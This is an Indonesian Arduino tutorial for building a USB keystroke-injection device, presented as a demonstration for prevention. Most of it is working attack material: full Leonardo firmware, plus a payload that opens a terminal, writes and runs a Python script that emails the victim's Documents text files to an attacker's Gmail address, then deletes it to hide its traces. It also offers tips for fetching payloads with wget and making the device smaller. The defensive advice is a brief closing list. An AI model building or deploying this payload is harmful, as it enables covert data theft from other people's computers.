Mencegah Serangan USB HID: Demo Eksploitasi Keyboard Arduino Leonardo
Komponen dan Perlengkapan
 |
|
× |
1 |
|
|
|
× |
1 |
|
|
|
× |
1 |
|
|
| Tombol Tekan 3 pin (dengan resistor) |
|
× |
1 |
|
 |
|
× |
1 |
|
 |
|
× |
1 |
|
Tentang Proyek Ini
Dalam proyek ini kita akan menggunakan Arduino Leonardo untuk mensimulasikan serangan USB yang mungkin menggunakan HID (Human Interface Device).
Saya membuat tutorial ini bukan untuk membantu peretas tetapi untuk menunjukkan beberapa bahaya nyata dan cara melindungi diri dari bahaya tersebut. Perangkat ini bukanlah perangkat yang dapat digunakan di platform apa pun untuk peretas, ini lebih merupakan konsep bukti secara rinci.
Kita akan mempelajari hal-hal berikut:
- cara menggunakan Arduino Leonardo untuk mengemulasi keyboard
- cara membaca data dari kartu SD
- cara membuat skrip Python yang memindai berkas dan mengirimkannya melalui email
- cara melindungi diri dari perangkat hacking USB
Langkah 1: Bahan-bahan
Bagian:
1. Arduino Leonardo
2. pembaca kartu micro USB
3. beberapa GB kartu SD
4. tombol tekan seperti ini satu (VCC, Ground dan sinyal)
5. kabel jumper female-laki dan female-female
6. kabel micro USB ke USB
Langkah 2: Membangun Perangkat
Sebelum instruksi pembuatan mari kita tinjau prinsip kerjanya:
Arduino Leonardo dapat berperilaku seperti perangkat antarmuka manusia (HID) dan oleh karena itu dapat mengemulasi mouse dan keyboard. Kita akan menggunakan fitur ini untuk membuka terminal (di UBUNTU linux) dan menulis skrip kecil yang akan mengakses folder /Documents di folder rumah pengguna menyalin berkas .txt di sana dan mengirimkannya melalui email kepada seseorang. Jika Anda ingin mengetahui detail lebih lanjut periksa langkah berikutnya.
Karena ini adalah perangkat demo hal-hal sangat sederhana, kita tidak akan melahami apa pun.
Instruksi pembangunan
Sebelum kita memulai periksa berkas yang dilampirkan, saya telah melampirkan skema fritzing, dan semua berkas yang diperlukan
1. Rangkai komponen:
* colokkan kabel micro USB di Arduino
* hubungkan kunci tombol ke Arduino (ground, vcc dan modul out ke D8)
* hubungkan pembaca kartu ke Arduino (menggunakan header ICSP). Arduino Leonardo tidak memiliki header ICSP yang terhubung ke pin digital jadi Anda akan perlu menghubungkan pembaca kartu ke header ICSP. Anda dapat menemukan beberapa gambar ICSP di sini: https://learn.sparkfun.com/tutorials/installing-an.... Hubungkan pin SS ke pin digital 10
2. dapatkan kode Arduino, Anda dapat mengkloning repositori Arduino saya di github: https://github.com/danionescu0/arduino dan pergi ke projects/keyboard_exploit atau dapatkan dari bawah ini:
#include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("Card failed, or not present!"); return; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != previousButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println("Uploaded!"); delay(500); } previousButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("The specified filename is not present on SD card, check filenameOnCard !"); } String line; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println(line); sendToKeyboard(line); } dataFile.close(); } void sendToKeyboard(String line) { String workingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); return; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(line); Keyboard.println(line); pressEnter(); return; } Serial.println("Command:"); int charPosition = commandStartingPoint.length(); int lineLength = line.length(); workingLine += ","; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(","); String command = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command != "") { Serial.print("Command found:");Serial.println(command); Keyboard.press(getCommandCode(command)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands); } void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Sleeping for:");Serial.println(sleepAmount); delay(sleepAmount); } char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); char code = textCharacters[0]; code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code; code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code; code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code; code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code; code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code; code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code; code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code; code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code; code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code; code = (text == "KEY_TAB") ? KEY_TAB : code; code = (text == "KEY_RETURN") ? KEY_RETURN : code; code = (text == "KEY_ESC") ? KEY_ESC : code; code = (text == "KEY_INSERT") ? KEY_INSERT : code; code = (text == "KEY_DELETE") ? KEY_DELETE : code; code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code; code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code; code = (text == "KEY_HOME") ? KEY_HOME : code; code = (text == "KEY_END") ? KEY_END : code; code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code; code = (text == "KEY_F1") ? KEY_F1 : code; code = (text == "KEY_F2") ? KEY_F2 : code; code = (text == "KEY_F3") ? KEY_F3 : code; code = (text == "KEY_F4") ? KEY_F4 : code; code = (text == "KEY_F5") ? KEY_F5 : code; code = (text == "KEY_F6") ? KEY_F6 : code; code = (text == "KEY_F7") ? KEY_F7 : code; code = (text == "KEY_F8") ? KEY_F8 : code; code = (text == "KEY_F9") ? KEY_F9 : code; code = (text == "KEY_F10") ? KEY_F10 : code; code = (text == "KEY_F11") ? KEY_F1 : code; code = (text == "KEY_F12") ? KEY_F2 : code; return code; }
3. Unggah kode ke Arduino, pastikan untuk memilih baud rate 9600, port serial dan Arduino Leonardo
4. Format kartu SD menggunakan FAT16 atau FAT32
5. Jika Anda mengkloning repositori github dari atas, salin berkas hack.txt ke kartu, jika tidak berkasnya tercantum di bawah ini:
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os from os.path import expanduser from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email.MIMEText import MIMEText from email.Utils import COMMASPACE, formatdate from email import Encoderssmtp_user = 'sender_gmail_address' smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'subject = body = 'Files from hacked computer' header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]): msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach(MIMEText(text)) for file in files: part = MIMEBase('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location))) Sleep::50 Command::KEY_ESC Sleep::100 :x Sleep::500 nohup python hack.py & Sleep::700 rm -rf hack.py Sleep::400 Command::KEY_LEFT_ALT,KEY_F4
6. Edit baris berikut:
smtp_user = 'sender_email_addr' smtp_pass = 'sender_password' to_address = 'receiver_address'
Dan ganti dengan alamat email Anda
7. Cabut kartu dan masukkan ke pembaca kartu Arduino
sketch.fzz
keyboard_exploit.ino
hack.txt
hack.py
Langkah 3: Cara Kerja Secara Detail
Bagaimana serangan akan bekerja:
1. Ketika tombol ditekan, Leonardo akan membaca kartu SD menggunakan pembaca kartu SD. Berkas khusus yang berisi kunci dan kombinasi kunci akan ada di kartu. Nama berkasnya adalah "hack.txt".
Berkas dapat berisi teks mentah, dan akan diteruskan ke keyboard apa adanya.
Berkas juga dapat berisi perintah khusus seperti "Sleep::" dan "Command::".
Sebuah baris seperti:
Sleep::200 berarti tidur selama 200 ms
Sebuah baris seperti:
Command::KEY_LEFT_CTRL, KEY_LEFT_ALT, t berarti kiri ctrl ditekan, kiri alt ditekan, t ditekan dan semua dilepaskan
Anda dapat memeriksa semua kunci khusus di sini: https://www.arduino.cc/en/Reference/KeyboardModif...
2. Leonardo akan membaca baris demi baris, dan menginterpretasikan perintah serta mengemulasikan kunci pada keyboard. Berkas "hack.txt" berisi kombinasi kunci yang melakukan hal berikut (untuk UBUNTU linux):
a. membuka terminal (CTRL + ALT + T)
b. membuka berkas python untuk pembuatan menggunakan vi (menulis "vi hack.py"
c. menulis skrip python di dalam yang mengumpulkan semua berkas teks di dalam folder documents home dan mengirimkannya ke alamat gmail tertentu
d. menjalankan berkas di latar belakang ("nohup python hack.py &")
e. menghapus berkas (rm -rf hack.py)
f. menutup terminal (ALT + F4)
Seluruh hal ini berjalan dalam beberapa detik dan tidak meninggalkan jejak.
Peningkatan dan Pemecahan Masalah
* Anda mungkin menyadari bahwa setelah saya membuka terminal saya menulis berkas python. cara yang lebih baik untuk melakukannya adalah dengan menghostingnya di suatu tempat dan mengunduhnya menggunakan perintah "wget some_url", lalu mengganti namanya menjadi hack.py
* Juga kita dapat mengunduh atau menjalankan eksploitasi siap pakai untuk sistem operasi yang ditargetkan
* wifi dapat ditambahkan ke modul, dan hack dapat diunggah melalui WIFI
* Anda dapat menggunakan Arduino Micro (yang jauh lebih kecil) dan menyematkan kode eksploitasi padanya (untuk membuatnya lebih kecil)
Keterbatasan
1. Karena perangkat yang disimulasikan (keyboard dan mouse) tidak memiliki umpan balik kita tidak tahu apa yang akan terjadi setelah menerbitkan perintah yang berarti kita perlu menggunakan penundaan. Misalnya saya menerbitkan perintah untuk membuka terminal, tetapi saya tidak tahu kapan sebenarnya akan terbuka, jadi saya perlu menentukan penundaan sembarang untuk memastikan karakter yang diketik setelahnya tidak akan hilang.
2. Kita mungkin akan mengalami masalah izin seperti tidak memiliki akses ke port USB atau izin untuk menginstal sesuatu
3. Kecepatan mengetik tidak begitu bagus pada Leonardo
4. Akan bekerja hanya pada sistem operasi yang ditargetkan (dalam kasus kami UBUNTU linux)
Dalam langkah berikutnya kita akan mencoba cara untuk mengeksploitasi keterbatasan ini untuk mencegah komputer kita dari peretasan
Langkah 4: Tindakan Pencegahan
1. Menonaktifkan port USB
- untuk Windows Anda dapat memeriksa tutorial ini: https://www.thewindowsclub.com/disable-enable-usb-w...
2. Daftar putih perangkat USB:
- untuk Windows: https://superuser.com/questions/1152012/block-unbl...
2. Kunci komputer Anda saat Anda tidak ada di sana
3. Jangan login sebagai root (perlukan kata sandi untuk menginstal apa pun)
4. Perbarui diri Anda (pembaruan otomatis nyala)
Kode
- keyboard_exploit.ino
- Cuplikan kode #1
- Cuplikan kode #2
keyboard_exploit.inoArduino
Error opening file.
Cuplikan kode #1Plain text
#include "Keyboard.h" #include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Sleep::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup() { pinMode(buttonPin, INPUT); Serial.begin(9600); Keyboard.begin(); if (!SD.begin(chipSelect)) { Serial.println("Card failed, or not present!"); return; } } void loop() { int buttonState = digitalRead(buttonPin); if ((buttonState != previousButtonState) && (buttonState == HIGH)) { sdFileToKeyboard(); Serial.println("Uploaded!"); delay(500); } previousButtonState = buttonState; } void sdFileToKeyboard() { File dataFile = SD.open(filenameOnCard); if (!dataFile) { Serial.println("The specified filename is not present on SD card, check filenameOnCard !"); } String line; while (dataFile.available()) { line = dataFile.readStringUntil('\n'); Serial.println(line); sendToKeyboard(line); } dataFile.close(); } void sendToKeyboard(String line) { String workingLine = line; if (workingLine.indexOf(sleepCommandStartingPoint) != -1) { sleepFor(line); return; } if (workingLine.indexOf(commandStartingPoint) == -1) { Serial.print("Text:");Serial.println(line); Keyboard.println(line); pressEnter(); return; } Serial.println("Command:"); int charPosition = commandStartingPoint.length(); int lineLength = line.length(); workingLine += ","; while (workingLine != "") { workingLine = workingLine.substring(charPosition); Serial.print("WorkingLine:");Serial.println(workingLine); int specialCommandDelimiterPosition = workingLine.indexOf(","); String command = workingLine.substring(0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command != "") { Serial.print("Command found:");Serial.println(command); Keyboard.press(getCommandCode(command)); delay(delayBetweenCommands); } } Keyboard.releaseAll(); delay(delayBetweenCommands); } void pressEnter() { Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } void sleepFor(String line) { int sleepAmount = line.substring(sleepCommandStartingPoint.length(), line.length()).toInt(); Serial.print("Sleeping for:");Serial.println(sleepAmount); delay(sleepAmount); } char getCommandCode(String text) { char textCharacters[2]; text.toCharArray(textCharacters, 2); char code = textCharacters[0]; code = (text == "KEY_LEFT_CTRL") ? KEY_LEFT_CTRL : code; code = (text == "KEY_LEFT_SHIFT") ? KEY_LEFT_SHIFT : code; code = (text == "KEY_LEFT_ALT") ? KEY_LEFT_ALT : code; code = (text == "KEY_UP_ARROW") ? KEY_UP_ARROW : code; code = (text == "KEY_DOWN_ARROW") ? KEY_DOWN_ARROW : code; code = (text == "KEY_LEFT_ARROW") ? KEY_LEFT_ARROW : code; code = (text == "KEY_RIGHT_ARROW") ? KEY_RIGHT_ARROW : code; code = (text == "KEY_RIGHT_GUI") ? KEY_RIGHT_GUI : code; code = (text == "KEY_BACKSPACE") ? KEY_BACKSPACE : code; code = (text == "KEY_TAB") ? KEY_TAB : code; code = (text == "KEY_RETURN") ? KEY_RETURN : code; code = (text == "KEY_ESC") ? KEY_ESC : code; code = (text == "KEY_INSERT") ? KEY_INSERT : code; code = (text == "KEY_DELETE") ? KEY_DELETE : code; code = (text == "KEY_PAGE_UP") ? KEY_PAGE_UP : code; code = (text == "KEY_PAGE_DOWN") ? KEY_PAGE_DOWN : code; code = (text == "KEY_HOME") ? KEY_HOME : code; code = (text == "KEY_END") ? KEY_END : code; code = (text == "KEY_CAPS_LOCK") ? KEY_CAPS_LOCK : code; code = (text == "KEY_F1") ? KEY_F1 : code; code = (text == "KEY_F2") ? KEY_F2 : code; code = (text == "KEY_F3") ? KEY_F3 : code; code = (text == "KEY_F4") ? KEY_F4 : code; code = (text == "KEY_F5") ? KEY_F5 : code; code = (text == "KEY_F6") ? KEY_F6 : code; code = (text == "KEY_F7") ? KEY_F7 : code; code = (text == "KEY_F8") ? KEY_F8 : code; code = (text == "KEY_F9") ? KEY_F9 : code; code = (text == "KEY_F10") ? KEY_F10 : code; code = (text == "KEY_F11") ? KEY_F1 : code; code = (text == "KEY_F12") ? KEY_F2 : code; return code; }
Cuplikan kode #2Plain text
Command::KEY_LEFT_CTRL,KEY_LEFT_ALT,tSleep::500 vi hack.py Sleep::300 Command::KEY_INSERT import smtplib import glob, os from os.path import expanduser from email.MIMEMultipart import MIMEMultipart from email.MIMEBase import MIMEBase from email.MIMEText import MIMEText from email.Utils import COMMASPACE, formatdate from email import Encoderssmtp_user = 'sender_gmail_address' smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'subject = body = 'Files from hacked computer' header = 'To :{0}\nFrom : {1}\nSubject : {2}\n'.format(to_address, smtp_user, subject)def sendMail(to, subject, text, files=[]): msg = MIMEMultipart() msg['From'] = smtp_user msg['To'] = COMMASPACE.join(to) msg['Date'] = formatdate(localtime=True) msg['Subject'] = subject msg.attach(MIMEText(text)) for file in files: part = MIMEBase('application', "octet-stream") part.set_payload(open(file,"rb").read()) Encoders.encode_base64(part) part.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(part) server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(smtp_user, smtp_pass) server.sendmail(smtp_user, to, msg.as_string()) server.quit()sendMail([to_address], subject, body, glob.glob("{0}/{1}/*.txt".format(expanduser("~"), scan_documents_location))) Sleep::50 Command::KEY_ESC Sleep::100 :x Sleep::500 nohup python hack.py & Sleep::700 rm -rf hack.py Sleep::400 Command::KEY_LEFT_ALT,KEY_F4
Github
https://github.com/danionescu0/arduinohttps://github.com/danionescu0/arduino
Skema

sketch_D4S1ftXkTU.fzz
Repositori Arduino
Sketsa ada di projects/keyboard_exploithttps://github.com/danionescu0/arduino